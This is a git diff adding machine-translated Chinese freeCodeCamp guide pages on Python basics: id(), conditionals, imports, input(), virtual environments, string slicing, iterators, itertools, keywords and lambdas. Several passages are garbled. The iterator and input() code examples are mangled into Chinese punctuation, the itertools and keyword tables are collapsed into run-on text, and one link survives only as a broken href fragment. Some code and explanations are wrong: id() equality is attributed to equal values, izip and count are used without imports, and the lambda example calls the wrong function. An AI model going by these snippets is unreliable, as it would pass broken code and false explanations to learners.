+可在[此处](https://docs.python.org/3.6/library/functions.html#int)找到`int()`内置的官方文档
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/idobject/index.md b/client/src/guide/chinese/python/idobject/index.md
new file mode 100644
index 0000000000..65f180a602
--- /dev/null
+++ b/client/src/guide/chinese/python/idobject/index.md
@@ -0,0 +1,43 @@
+---
+title: Python Idobject
+localeTitle: Python Idobject
+---
+`id()`是Python 3中的内置函数，它返回对象的_标识_ 。 _标识_是该对象在其生命周期内的唯一整数。这也是内存中对象的地址。
+
+## 论据
+
+#### 目的
+
+`object`参数通常可以是`int` ， `float` ， `str` ， `list` ， `dict` ， `tuple`等。
+
+## 代码示例
+```
+a = 2 
+ print(id(a)) #=> 140454723286976 (Values returned by id() might be different for different users) 
+ 
+ b = 3 
+ print(id(b)) #=> 140454723287008 
+ 
+ c = 2 
+ print(id(c)) #=> 140454723286976 (This is same as id(a) since they both contain the same value and hence have same memory address) 
+ 
+ print(id(a) == id(b)) #=> False (since a and b have different values stored in them) 
+ print(id(a) == id(c)) #=> True (since a and c have same values stored in them) 
+ 
+ d = 1.1 
+ e = 1.1 
+ print(id(d) == id(e)) #=> True (since d and e have same values stored in them) 
+ 
+ str1 = 'hello' 
+ str2 = 'hello' 
+ print(id(str1) == id(str2)) #=> True (since str1 and str2 have same values stored in them) 
+ 
+ # For complex objects like lists, tuples, dictionaries etc. id() would give a unique integer even if the content of those containers is same. 
+ tup1 = (1,1) 
+ tup2 = (1,1) 
+ print(id(tup1) == id(tup2)) #=> False 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CQw7/1)
+
+[官方文件](https://docs.python.org/3/library/functions.html#id)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/if-elif-else-statements/index.md b/client/src/guide/chinese/python/if-elif-else-statements/index.md
new file mode 100644
index 0000000000..11b611dc8f
--- /dev/null
+++ b/client/src/guide/chinese/python/if-elif-else-statements/index.md
@@ -0,0 +1,96 @@
+---
+title: If Elif Else Statements
+localeTitle: 如果Elif Else声明
+---
+## 如果Elif Else声明
+
+`if` / `elif` / `else`结构是控制程序流的常用方法，允许您根据某些数据的值执行特定的代码块。如果关键字`if`后面的条件计算为`true` ，则代码块将执行： 请注意，在条件检查之前和之后不使用括号，如同其他语言一样。
+
+```python
+if True: 
+  print('If block will execute!') 
+```
+
+```python
+x = 5 
+ 
+ if x > 4: 
+  print("The condition was true!") #this statement executes 
+```
+
+如果条件为`false` ，您可以选择添加将执行的`else`响应：
+
+```python
+if not True: 
+  print('If statement will execute!') 
+ else: 
+  print('Else statement will execute!') 
+```
+
+或者你也可以看到这个例子
+
+```python
+y = 3 
+ 
+ if y > 4: 
+  print("I won't print!") #this statement does not execute 
+ else: 
+  print("The condition wasn't true!") #this statement executes 
+```
+
+_请注意， `else`关键字后面没有条件 - 它捕获条件为`false`所有情况_
+
+可以通过在初始`if`语句之后包含一个或多个`elif`检查来检查多个条件，但只执行一个条件：
+
+```python
+z = 7 
+ 
+ if z > 8: 
+  print("I won't print!") #this statement does not execute 
+ elif z > 5: 
+  print("I will!") #this statement will execute 
+ elif z > 6: 
+  print("I also won't print!") #this statement does not execute 
+ else: 
+  print("Neither will I!") #this statement does not execute 
+```
+
+_请注意，只有第一个计算为`true`条件才会执行。即使`z > 6`为`true` ， `if/elif/else`块`if/elif/else`在第一个真实条件之后终止。这意味着只有在没有条件`true`的情况下才会执行`else` 。_
+
+我们还可以创建嵌套if用于决策。在此之前请参阅前面的href ='https：//guide.freecodecamp.org/python/code-blocks-and-indentation'target ='\_ blank'rel ='nofollow'>缩进指南。
+
+让我们举个例子来找一个偶数也大于'10'的数字
+```
+python 
+ x = 34 
+ if x %  2 == 0:  # this is how you create a comment and now, checking for even. 
+  if x > 10: 
+    print("This number is even and is greater than 10") 
+  else: 
+    print("This number is even, but not greater 10") 
+ else: 
+  print ("The number is not even. So point checking further.") 
+```
+
+这只是嵌套if的一个简单示例。请随时在线浏览更多内容。
+
+虽然上面的示例很简单，但您可以使用[布尔比较](https://guide.freecodecamp.org/python/comparisons)和[布尔运算符](https://guide.freecodecamp.org/python/boolean-operations)创建复杂条件。
+
+**_内联python if-else语句_**
+
+我们也可以使用if-else语句内联python函数 以下示例应检查数字是否大于或等于50，如果是，则返回True：
+```
+python 
+ x = 89 
+ is_greater = True if x >= 50 else False 
+ 
+ print(is_greater) 
+```
+
+产量
+```
+> 
+ True 
+ > 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/import-statements/index.md b/client/src/guide/chinese/python/import-statements/index.md
new file mode 100644
index 0000000000..ac6a66a2fb
--- /dev/null
+++ b/client/src/guide/chinese/python/import-statements/index.md
@@ -0,0 +1,97 @@
+---
+title: Python Import Statements
+localeTitle: Python导入语句
+---
+在学习编程和阅读一些资源时，您会遇到“抽象”这个词，它只是意味着尽可能地减少和重用代码。
+
+函数和模块有助于抽象。如果要在文件中重复执行某些操作，可以创建函数。
+
+当您想要在不同的源文件中重用一组函数时，模块会出现。模块在构建程序时也很有用。
+
+*   使用标准库和其他第三方模块：
+*   构建程序
+
+## 使用标准库
+
+示例：您可以在官方Python文档中详细了解所有标准库的方法/功能。
+```
+import time 
+ for i in range(100): 
+    time.sleep(1)   # Waits for 1 second and then executes the next command 
+    print(str(i) + ' seconds have passed')  # prints the number of seconds passed after the program was started 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CS6C)
+```
+# To calculate the execution time of a part of program 
+ import time 
+ start = time.time() 
+ # code here 
+ end = time.time() 
+ print('Execution time:' , end-start) 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CS6C/1)
+```
+# Using math Module 
+ import math 
+ print(math.sqrt(100))   # prints 10 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CS6C/2)
+
+## 使用第三方模块
+
+第三方模块没有与python捆绑在一起，但我们必须使用包管理器（如[`pip`](https://bootstrap.pypa.io/get-pip.py)和[`easy install`](https://bootstrap.pypa.io/ez_setup.py)在外部安装它
+```
+# To make http requests 
+ import requests 
+ rq = requests.get(target_url) 
+ print(rq.status_code) 
+```
+
+[在此处](http://docs.python-requests.org/en/master/)了解有关python-requests模块的更多信息
+
+## 构建程序
+
+我们想要制作一个具有关于素数的各种函数的程序。让我们开始吧。我们将在`prime_functions.py`定义所有函数
+```
+# prime_functions.py 
+ from math import ceil, sqrt 
+ def isPrime(a): 
+    if a == 2: 
+        return True 
+    elif a % 2 == 0: 
+        return False 
+    else: 
+        for i in range(3,ceil(sqrt(a)) + 1,2): 
+            if a % i == 0: 
+                return False 
+        return True 
+ 
+ def print_n_primes(a): 
+    i = 0 
+    m = 2 
+    while True: 
+        if isPrime(m) ==True: 
+            print(m) 
+            i += 1 
+        m += 1 
+        if i == a: 
+            break 
+```
+
+现在我们想要使用我们刚刚在`prime_functions.py`创建的函数，因此我们创建了一个新文件`playground.py`来使用这些函数。
+
+> _请注意，这个程序太简单了，不能制作两个单独的文件，只是为了演示。但是当有大型复杂程序时，制作不同的文件确实非常有用。_
+```
+# playground.py 
+ import prime_functions 
+ print(prime_functions.isPrime(29)) # returns True 
+```
+
+## 排序进口
+
+好的做法是将`import`模块分为三组 - 标准库导入，相关的第三方导入和本地导入。在每个组中，按模块名称按字母顺序排序是明智的。您可以[在PEP8中](https://www.python.org/dev/peps/pep-0008/?#imports)找到[更多信息](https://www.python.org/dev/peps/pep-0008/?#imports) 。
+
+Python语言最重要的一点是易读性，按字母顺序排序的模块可以更快地读取和搜索。此外，更容易验证某些内容是否已导入，并避免重复导入。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/index.md b/client/src/guide/chinese/python/index.md
new file mode 100644
index 0000000000..9f13a3a7f9
--- /dev/null
+++ b/client/src/guide/chinese/python/index.md
@@ -0,0 +1,175 @@
+---
+title: Python
+localeTitle: 蟒蛇
+---
+## 什么是Python？
+
+[Python](https://www.python.org)是一种通用编程语言，它具有动态类型，解释和着名的易读性，并具有出色的设计原则。
+
+要了解有关Python的更多信息，请查看python.org上的这些页面：
+
+[什么是Python？](https://www.python.org/doc/essays/blurb/)
+
+[Python FAQ](https://docs.python.org/3/faq/general.html) 。
+
+## Python 2或Python 3
+
+*   这两个版本是相似的，知道一个切换为另一个编写代码很容易。
+*   [Python 2或Python 3](https://wiki.python.org/moin/Python2orPython3)
+    *   [Python 2.x将不会维持到2020年。](https://www.python.org/dev/peps/pep-0373/)
+    *   3.x正在积极发展中。这意味着，例如，所有最近的标准库改进仅在Python 3.x中默认可用。
+    *   多年来，Python生态系统积累了大量优质软件。在3.x中打破向后兼容性的缺点是，某些软件（特别是公司内部的软件）仍然无法在3.x上运行。
+
+## 安装
+
+大多数基于\* nix的操作系统都安装了Python（通常是Python 2，最近的Python 3）。建议不要更换系统Python，否则可能会导致问题。但是，可以与系统Python一起安全地安装不同版本的Python。请参阅[Python设置和使用](https://docs.python.org/3/using/index.html) 。
+
+Windows没有附带Python，可以在[此处](https://docs.python.org/3/using/windows.html)找到安装程序和说明
+
+## Python解释器
+
+Python解释器是用于运行Python脚本的。
+
+如果它可用并且在Unix shell的搜索路径中可以通过键入命令`python`启动它，然后脚本名称将调用解释器并运行脚本。
+
+`hello_campers.py`
+
+```python
+print('Hello campers!') 
+```
+
+从终端：
+```
+$ python hello_campers.py 
+ Hello campers! 
+```
+
+“当安装多个版本的Python时，可以根据安装配置调用它们。在Cloud9 ide自定义环境中，可以调用它们：
+```
+$ python --version 
+ Python 2.7.6 
+ $ python3 --version 
+ Python 3.4.3 
+ $ python3.5 --version 
+ Python 3.5.1 
+ $ python3.6 --version 
+ Python 3.6.2 
+ $ python3.7 --version 
+ Python 3.7.1 
+```
+
+## Python解释器交互模式
+
+可以通过使用`-i`标志或不带任何参数调用Python解释器来启动交互模式。
+
+交互模式有一个提示，可以输入和运行Python命令：
+```
+$ python3.5 
+ Python 3.5.1 (default, Dec 18 2015, 00:00:00) 
+ GCC 4.8.4 on linux 
+ Type "help", "copyright", "credits" or "license" for more information. 
+ >>> print("Hello campers!") 
+ Hello campers! 
+ >>> 1 + 2 
+ 3 
+ >>> exit() 
+ $ 
+```
+
+## Python的禅宗
+
+影响Python设计的一些原则包含在复活节彩蛋中，可以使用Python解释器交互模式中的命令来读取：
+```
+>>> import this 
+ The Zen of Python, by Tim Peters 
+ 
+ Beautiful is better than ugly. 
+ Explicit is better than implicit. 
+ Simple is better than complex. 
+ Complex is better than complicated. 
+ Flat is better than nested. 
+ Sparse is better than dense. 
+ Readability counts. 
+ Special cases aren't special enough to break the rules. 
+ Although practicality beats purity. 
+ Errors should never pass silently. 
+ Unless explicitly silenced. 
+ In the face of ambiguity, refuse the temptation to guess. 
+ There should be one-- and preferably only one --obvious way to do it. 
+ Although that way may not be obvious at first unless you're Dutch. 
+ Now is better than never. 
+ Although never is often better than *right* now. 
+ If the implementation is hard to explain, it's a bad idea. 
+ If the implementation is easy to explain, it may be a good idea. 
+ Namespaces are one honking great idea -- let's do more of those! 
+```
+
+## Python的优点和缺点
+
+### 优点
+
+1.  交互式语言，模块支持几乎所有功能。
+2.  开源：因此，您可以为社区做出贡献，为将来使用而开发的功能以及帮助他人
+3.  许多优秀的口译员和笔记本电脑可以提供更好的体验，例如jupyter笔记本电脑。
+
+#### 缺点
+
+1.  作为开源，一年中开发了许多不同的方式来实现相同的功能。这有时会给其他人创造混乱，让他人阅读别人的代码。
+2.  这是一种缓慢的语言。因此，用于开发通用算法的语言非常糟糕。
+
+## 文档
+
+[Python有很好的文档记录](https://docs.python.org/3/) 。这些文档包括语言的教程，指南，参考和元信息。
+
+另一个重要的参考是Python增强提议（ [PEP](https://www.python.org/dev/peps/) ）。 PEP中包含用于编写Python代码的样式指南， [`PEP 8`](https://www.python.org/dev/peps/pep-0008/) 。
+
+## 调试
+
+内联`print`语句可用于简单调试：
+
+> **...通常，调试程序的最快方法是向源添加一些打印语句：快速编辑 - 测试 - 调试周期使这种简单方法非常有效。**
+> 
+> \- [执行摘要](https://www.python.org/doc/essays/blurb/)
+
+Python还包含更强大的调试工具，例如：
+
+*   记录模块， [_记录_](https://docs.python.org/3/library/logging.html)
+*   调试模块， [_pdb_](https://docs.python.org/3/library/pdb.html)
+
+请注意，这些目前存在。
+
+## 你好，世界！
+
+回到文档，我们可以阅读[`print`](https://docs.python.org/3/library/functions.html#print)函数，这是[Python标准库](https://docs.python.org/3/library/index.html)的[_内置函数_](https://docs.python.org/3/library/functions.html) 。
+```
+print(*objects, sep=' ', end='\n', file=sys.stdout, flush=False) 
+```
+
+内置函数按字母顺序列出。该名称后跟带括号的形式参数列表，其中包含可选的默认值。在此之下，给出了函数及其参数的简短描述，并偶尔给出一个例子。
+
+Python 3中的[`print`](https://docs.python.org/3/library/functions.html#print)函数替换了Python 2中的[`print`](https://docs.python.org/2/reference/simple_stmts.html#print)语句。
+```
+>>> print("Hello world!") 
+ Hello world! 
+```
+
+当函数名称后跟`()`时，将调用函数。对于Hello世界！例如，使用字符串作为第一个参数的参数调用print函数。对于其余参数，使用默认值。
+
+我们称之为`print`函数的参数是`str`对象或_字符串_ ，它是Python的[_内置类型之一_](https://docs.python.org/3/library/stdtypes.html#text-sequence-type-str) 。 关于python最重要的是你在声明变量时不必指定数据类型，python的编译器 将根据分配的值类型自行完成。
+
+`objects`参数以`*`为前缀，表示该函数将为该参数采用任意数量的参数。
+
+## 想了解更多？
+
+免费代码营有一些很好的资源。网络是一个很大的地方，还有很多值得探索的地方：
+
+*   Python练习册：http：//anandology.com/python-practice-book/index.html
+*   想想Python：http：//greenteapress.com/thinkpython/html/index.html
+*   实用商务Python：http：//pbpython.com/
+*   另一门课程：https _：//realpython.com/？utm source = fsp＆utm_ medium = promo＆utm\_campaign = bestresources
+*   一般：https：//www.fullstackpython.com/
+*   学习基础知识：https：//www.codecademy.com/learn/learn-python
+*   使用Python的计算机科学：https：//www.edx.org/course/introduction-computer-science-mitx-6-00-1x-11?ref=hackernoon#！
+*   学习python的更多资源列表：https：//github.com/vinta/awesome-python
+*   Interactive Python：http：//interactivepython.org/runestone/static/thinkcspy/index.html
+*   开发人员Python指南：https：//devguide.python.org/
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/input-functions/index.md b/client/src/guide/chinese/python/input-functions/index.md
new file mode 100644
index 0000000000..78b93f9a1a
--- /dev/null
+++ b/client/src/guide/chinese/python/input-functions/index.md
@@ -0,0 +1,51 @@
+---
+title: Python Input Function
+localeTitle: Python输入函数
+---
+很多时候，在程序中我们需要来自用户的一些输入。从用户那里获取输入使程序感觉互动。在Python 3中，为了从用户那里获取输入，我们有一个函数`input()` 。如果调用输入函数，程序流将停止，直到用户给出输入并用返回键结束输入。我们来看一些例子：
+
+1.  当我们想要输入时：
+    
+    # 这只会给出一个没有任何消息的提示
+    
+    inp = input（）
+    
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CUqX/0)
+
+1.  要给出带有消息的提示：
+    
+    _具有_消息输入=提示（” “）
+    
+    # \_
+    
+    # 输出中的“\_”是提示符
+    
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CUqX/1)
+
+3.当我们想要一个整数输入时：
+```
+number = int(input('Please enter a number: ')) 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CUqX/2)
+
+如果输入非整数值，则Python将抛出错误`ValueError` 。 **所以每当你使用它时，请确保你也能抓住它。**否则，您的程序将在提示后意外停止。
+```
+number = int(input('Please enter a number: ')) 
+ # Please enter a number: as 
+ # Enter a string and it will throw this error 
+ # ValueError: invalid literal for int() with base 10 'as' 
+```
+
+4.当我们想要一个字符串输入时：
+```
+string = str(input('Please enter a string: ')) 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CUqX/3)
+
+但是，输入默认存储为字符串。使用`str()`函数使代码阅读器清楚输入将是一个'字符串'。提及将事先采用何种类型的输入是一种很好的做法。
+
+[官方文件](https://docs.python.org/3/library/functions.html#input)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/installing-and-using-python-3/index.md b/client/src/guide/chinese/python/installing-and-using-python-3/index.md
new file mode 100644
index 0000000000..58ff68c1a4
--- /dev/null
+++ b/client/src/guide/chinese/python/installing-and-using-python-3/index.md
@@ -0,0 +1,77 @@
+---
+title: Installing and Using Python 3
+localeTitle: 安装和使用Python 3
+---
+## 安装Python 3
+
+您可以从此官方[链接](https://www.python.org/downloads/)下载Python。根据您的操作系统（Windows或Linux或OSX），您可能希望按照[这些说明](http://docs.python-guide.org/en/latest/starting/installation/)安装Python 3。
+
+## 使用虚拟环境
+
+[沙盒](https://en.wikipedia.org/wiki/Sandbox_(computer_security)) Python安装总是一个好主意;并将它与您的_System Python_分开。 _System Python_是Python解释器的路径，它与您的操作系统一起安装的其他模块一起使用。
+
+使用_System Python_直接安装Python Web框架或库是**不安全的** 。相反，您可以在开发Python应用程序时使用[Virtualenv](https://virtualenv.readthedocs.org/en/latest/)创建和生成单独的Python进程。
+
+### Virtualenvwrapper
+
+[Virtualenvwrapper模块](https://virtualenvwrapper.readthedocs.org/en/latest/)使您可以轻松地在一台计算机上管理和沙箱化多个Python沙盒环境;不破坏用Python编写并由您的机器使用的任何模块或服务。
+
+当然，大多数云托管开发环境，如[Nitrous](https://www.nitrous.io/)或[Cloud9](https://c9.io/)也预装了这些，并为您准备好编码！您可以从仪表板中快速选择一个框，并在激活Python 3环境后开始编码。
+
+在[Cloud9中](https://c9.io/) ，您需要在创建新的开发环境时选择Django框。
+
+接下来会有一些shell命令示例。如果你想复制粘贴，请注意`$`符号是终端提示的简写，它不是命令的一部分。我的终端提示符如下所示：
+```
+alayek:~/workspace (master) $ 
+```
+
+并且， `ls`看起来像
+```
+alayek:~/workspace (master) $ ls 
+```
+
+但是，在本文档中编写相同的内容时，我会将其编写为
+```
+$ ls 
+```
+
+回到我们的讨论，您可以通过在云终端上运行在Cloud9上创建包含Python 3解释器的沙箱：
+```
+$ mkvirtualenv py3 --python=/usr/bin/python3 
+```
+
+在为项目创建新框后，您只需运行一次。一旦执行，该命令将创建一个新的沙盒virtualenv，供您使用，名为`py3` 。
+
+要查看可用的虚拟环境，您可以使用
+```
+$ workon 
+```
+
+要激活`py3` ，可以使用带有环境名称的`workon`命令：
+```
+$ workon py3 
+```
+
+上面的所有三个终端命令也适用于本地Linux机器或OSX机器。这些是[virtualenvwrapper](https://virtualenvwrapper.readthedocs.org/en/latest/#introduction)命令;因此，如果您计划使用它们，请确保已安装此模块并将其添加到`PATH`变量中。
+
+如果你在虚拟环境中;您可以通过检查终端提示轻松找到它。环境名称将在终端提示中清晰显示。
+
+例如，当我在`py3`环境中时;我会看到这是我的终端提示：
+```
+(py3)alayek:~/workspace (master) $ 
+```
+
+注意括号中的`(py3)` ！如果由于某种原因，你没有看到这个，即使你在虚拟的环境中;你可以尝试做[一下这里提到](http://stackoverflow.com/questions/1871549/python-determine-if-running-inside-virtualenv)的事情。
+
+走出虚拟环境;或者取消激活 - 使用命令
+```
+$ deactivate 
+```
+
+同样，这仅适用于virtualenvwrapper模块。
+
+### Pipenv
+
+使用virtualenvwrapper的另一种方法是[Pipenv](https://docs.pipenv.org/) 。它会自动为您的项目创建虚拟环境，并维护包含依赖项的`Pipfile`文件。使用Pipenv意味着您不再需要单独使用pip和virtualenv，或管理您自己的`requirements.txt`文件。对于熟悉JavaScript的人来说，Pipenv类似于使用像`npm`这样的打包工具。
+
+要开始使用Pipenv，您可以按照这个非常详细的[指南进行操作](https://docs.pipenv.org/install.html#installing-pipenv) 。 Pipenv可以轻松[指定](https://docs.pipenv.org/basics.html#specifying-versions-of-python)您希望为每个项目使用[哪个版本的Python](https://docs.pipenv.org/basics.html#specifying-versions-of-python) ，从现有的`requirements.txt`文件[导入](https://docs.pipenv.org/basics.html#importing-from-requirements-txt)并[绘制](https://docs.pipenv.org/#pipenv-graph)依赖关系[图](https://docs.pipenv.org/#pipenv-graph) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/is-there-a-way-to-substring-a-string-in-python/index.md b/client/src/guide/chinese/python/is-there-a-way-to-substring-a-string-in-python/index.md
new file mode 100644
index 0000000000..b9aa05c319
--- /dev/null
+++ b/client/src/guide/chinese/python/is-there-a-way-to-substring-a-string-in-python/index.md
@@ -0,0 +1,125 @@
+---
+title: Is There a Way to Substring a String in Python
+localeTitle: 有没有办法在Python中子串字符串
+---
+## 有没有办法在Python中子串字符串
+
+Python提供了许多方法来对字符串进行子串。它通常被称为“切片”。
+
+它遵循以下模板：
+
+```python
+string[start: end: step] 
+```
+
+哪里，
+
+`start` ：子字符串的起始索引。此索引处的字符包含在子字符串中。如果不包括_start_ ，则假定它等于0。
+
+`end` ：子字符串的终止索引。此索引处的字符_不_包含在子字符串中。如果未包括_end_ ，或者指定的值超出字符串长度，则默认情况下假定它等于字符串的长度。
+
+`step` ：包含当前字符后的每个“step”字符。默认值为1.如果省略_步长_值，则假定它等于1。
+
+#### 模板
+
+`string[start:end]` ：获取从index _start_到_end-1的_所有字符
+
+`string[:end]` ：获取从字符串开头到_end-1的_所有字符
+
+`string[start:]` ：获取索引_start_到字符串末尾的所有字符
+
+`string[start:end:step]` ：从_开始_到_结束-1_获取每个_步骤_字符的所有字符
+
+#### 例子
+
+*   **获取字符串的前5个字符**
+
+```python
+string = "freeCodeCamp" 
+ print(string[0:5]) 
+```
+
+输出：
+
+```shell
+> freeC 
+```
+
+注意： `print(string[:5])`返回与`print(string[0:5])`相同的结果`print(string[0:5])`
+
+*   **从字符串的第3个字符获取长度为4的子字符串**
+
+```python
+string = "freeCodeCamp" 
+ print(string[2:6]) 
+```
+
+输出：
+
+```shell
+> eeCo 
+```
+
+请注意，开始或结束索引可能是负数。负索引意味着您从字符串的末尾开始计数而不是从开头（即从右到左）开始计数。索引-1表示字符串的最后一个字符，-2表示倒数第二个字符，依此类推......
+
+*   **获取字符串的最后一个字符**
+
+```python
+string = "freeCodeCamp" 
+ print(string[-1]) 
+```
+
+输出：
+
+```shell
+> p 
+```
+
+*   **获取字符串的最后5个字符**
+
+```python
+string = "freeCodeCamp" 
+ print(string[-5:]) 
+```
+
+输出：
+
+```shell
+> eCamp 
+```
+
+*   **获取包含除最后4个字符和第1个字符之外的所有字符的子字符串**
+
+```python
+string = "freeCodeCamp" 
+ print(string[1:-4]) 
+```
+
+输出：
+
+```shell
+> reeCode 
+```
+
+#### 更多例子
+
+```py
+str = “freeCodeCamp” 
+ 
+ print str[-5:-2] # prints 'eCa' 
+ print str[-1:-2] # prints '' (empty string) 
+```
+
+*   **从字符串中获取每个其他字符**
+
+```python
+string = "freeCodeCamp" 
+ print(string[::2]) 
+```
+
+输出：
+
+```shell
+> feCdCm 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/iterators/index.md b/client/src/guide/chinese/python/iterators/index.md
new file mode 100644
index 0000000000..53a884b6d8
--- /dev/null
+++ b/client/src/guide/chinese/python/iterators/index.md
@@ -0,0 +1,40 @@
+---
+title: Python Iterators
+localeTitle: Python迭代器
+---
+Python支持迭代容器的概念。这是使用两种不同的方法实现的;这些用于允许用户定义的类支持迭代。
+
+[Python文档 - 迭代器类型](https://docs.python.org/3/library/stdtypes.html#iterator-types)
+
+迭代是以编程方式重复步骤给定次数的过程。程序员可以利用迭代对数据集合中的每个项目执行相同的操作，例如打印出列表中的每个项目。
+
+*   对象可以实现`__iter__()`方法，该方法返回迭代器对象以支持迭代。
+    
+*   迭代器对象必须实现：
+    
+    *   `__iter__()` ：返回迭代器对象。
+        
+    *   `__next__()` ：返回容器的下一个对象。
+        
+    
+    iterator _object ='abc'。 **iter** （） print（迭代器_对象） print（id（迭代器_对象）） print（id（iterator_ **object。iter** （）））＃返回迭代器本身。 打印（迭代器_对象。 **下一个** （））＃返回第一对象和前进迭代器。 打印（迭代器_对象。 **下一个** （））＃返回第二对象和前进迭代器。 打印（迭代器_对象。 **下一个** （））＃返回第三对象和前进迭代器。 打印（迭代器_对象。 **下一个** （））＃引发StopIteration异常。
+    
+
+输出：
+```
+<str_iterator object at 0x102e196a0> 
+ 4343305888 
+ 4343305888 
+ a 
+ b 
+ c 
+ --------------------------------------------------------------------------- 
+ StopIteration                             Traceback (most recent call last) 
+ <ipython-input-1-d466eea8c1b0> in <module>() 
+      6 print(iterator_object.__next__())     # Returns 2nd object and advances iterator. 
+      7 print(iterator_object.__next__())     # Returns 3rd object and advances iterator. 
+ ----> 8 print(iterator_object.__next__())     # Raises StopIteration Exception. 
+ 
+ StopIteration: 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/itertools/index.md b/client/src/guide/chinese/python/itertools/index.md
new file mode 100644
index 0000000000..62f55fea1d
--- /dev/null
+++ b/client/src/guide/chinese/python/itertools/index.md
@@ -0,0 +1,51 @@
+---
+title: Itertools
+localeTitle: Itertools
+---
+Itertools是一个函数的python模块，它返回生成器，只在迭代时才起作用的对象。 itertool函数的一些示例包括但不限于：chain（），imap（），product（）和compress（）。
+
+### 链（）
+
+chain（）函数将几个迭代器作为参数，并返回一个迭代器，它生成所有这些迭代器的内容，就像它们来自一个序列一样。
+
+```py
+import itertools 
+ list(itertools.chain([1, 2], [3, 4])) 
+ 
+ # Output 
+ # [1, 2, 3, 4] 
+```
+
+### islice（）
+
+islice（）函数返回一个迭代器，它通过索引从输入迭代器返回所选项。它采用与列表的切片运算符相同的参数：start，stop和step。启动和停止是可选的。
+
+```py
+import itertools 
+ list(itertools.islice(count(), 5)) 
+ 
+ # Output 
+ # [0,1, 2, 3, 4] 
+```
+
+### izip（）
+
+izip（）返回一个迭代器，它将几个迭代器的元素组合成元组。它的工作方式类似于内置函数zip（），除了它返回迭代器而不是列表。
+
+```py
+import itertools 
+ list(izip([1, 2, 3], ['a', 'b', 'c'])) 
+ 
+ # Output 
+ # [(1, 'a'),(2, 'b'),(3, 'c')] 
+```
+
+组合迭代器：
+
+迭代器参数结果 product（）p，q，... \[repeat = 1\]笛卡尔积，相当于嵌套的for循环 permutations（）p \[，r\] r-length元组，所有可能的排序，没有重复的元素 组合（）p，r r-length元组，按排序顺序，没有重复元素 _与_ replacement（）p，r r-length元组的组合，按排序顺序，具有重复元素 产品（'ABCD'，重复= 2）AA AB AC AD BA BB BC BD CA CB CC CD DA DB DC DD 排列（'ABCD'，2）AB AC AD BA BC BD CA CB CD DA DB DC
+
+组合（'ABCD'，2）AB AC AD BC BD CD
+
+_与_替换组合（'ABCD'，2）AA AB AC AD BB BC BD CC CD DD
+
+来源：HTTPS：//docs.python.org/3/library/itertools.html
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/keywords/index.md b/client/src/guide/chinese/python/keywords/index.md
new file mode 100644
index 0000000000..0fb4862cf9
--- /dev/null
+++ b/client/src/guide/chinese/python/keywords/index.md
@@ -0,0 +1,22 @@
+---
+title: Python Keywords
+localeTitle: Python关键字
+---
+## Python关键字
+
+Python有一个不能用作标识符（变量名）的[关键字](https://docs.python.org/3/reference/lexical_analysis.html#keywords)列表。尝试将这些关键字中的任何一个用作变量将创建**语法错误，**并且不会运行您的Python脚本：
+```
+>>> False = "Hello campers!" 
+ File "<stdin>" 
+ SyntaxError: can't assign to keyword 
+ 
+ >>> break = "Hello campers!" 
+ File "<stdin>", line 1 
+    break = "Hello campers!" 
+            ^ 
+    SyntaxError: invalid syntax 
+```
+
+#### 关键字列表
+
+关键字| - | - | - | - --- | --- | --- | --- | --- `False` | `class` | `finally` | `is` | `return` `None` | `continue` | `for` | `lambda` | `try` `True` `def` | `from` | `nonlocal` `while` `and` | `del` | `global` | `not` | `with` `as` | `elif` | `if` | `or` `yield` `assert` | `else` | `import` | `pass` `break` | `except` | `in` | `raise`
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/lambda-expressions/index.md b/client/src/guide/chinese/python/lambda-expressions/index.md
new file mode 100644
index 0000000000..d132f4e091
--- /dev/null
+++ b/client/src/guide/chinese/python/lambda-expressions/index.md
@@ -0,0 +1,94 @@
+---
+title: Lambda Expressions
+localeTitle: Lambda表达式
+---
+## Lambda表达式
+
+Lambda表达式理想地用于我们有一些简单的事情要做，我们对快速完成工作更感兴趣而不是正式命名函数。 Lambda表达式也称为匿名函数。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/python/lambda-expressions/index.md) 。
+
+Python中的Lambda表达式是声明小型和匿名函数的简短方法（没有必要为lambda函数提供名称）。 Lambda函数的行为与使用`def`关键字声明的常规函数​​一样。当您想要以简洁的方式定义一个小函数时，它们会派上用场。它们只能包含一个表达式，因此它们不适合具有control-flow语句的函数。 主
+
+#### Lambda函数的语法
+
+`lambda arguments: expression`
+
+Lambda函数可以包含任意数量的参数，但只能包含一个表达式
+
+#### 示例代码
+
+```py
+# Lambda function to calculate square of a number 
+ square = lambda x: x ** 2 
+ print(square(3)) # Output: 9 
+ 
+ # Traditional function to calculate square of a number 
+ def square1(num): 
+  return num ** 2 
+ print(square(5)) # Output: 25 
+```
+
+在上面的lambda示例中， `lambda x: x ** 2`产生一个匿名函数对象，该对象可以与任何名称相关联。 因此，我们将函数对象与`square`相关联，因此从现在开始，我们可以像任何传统函数一样调用`square`对象。例如`square(10)`
+
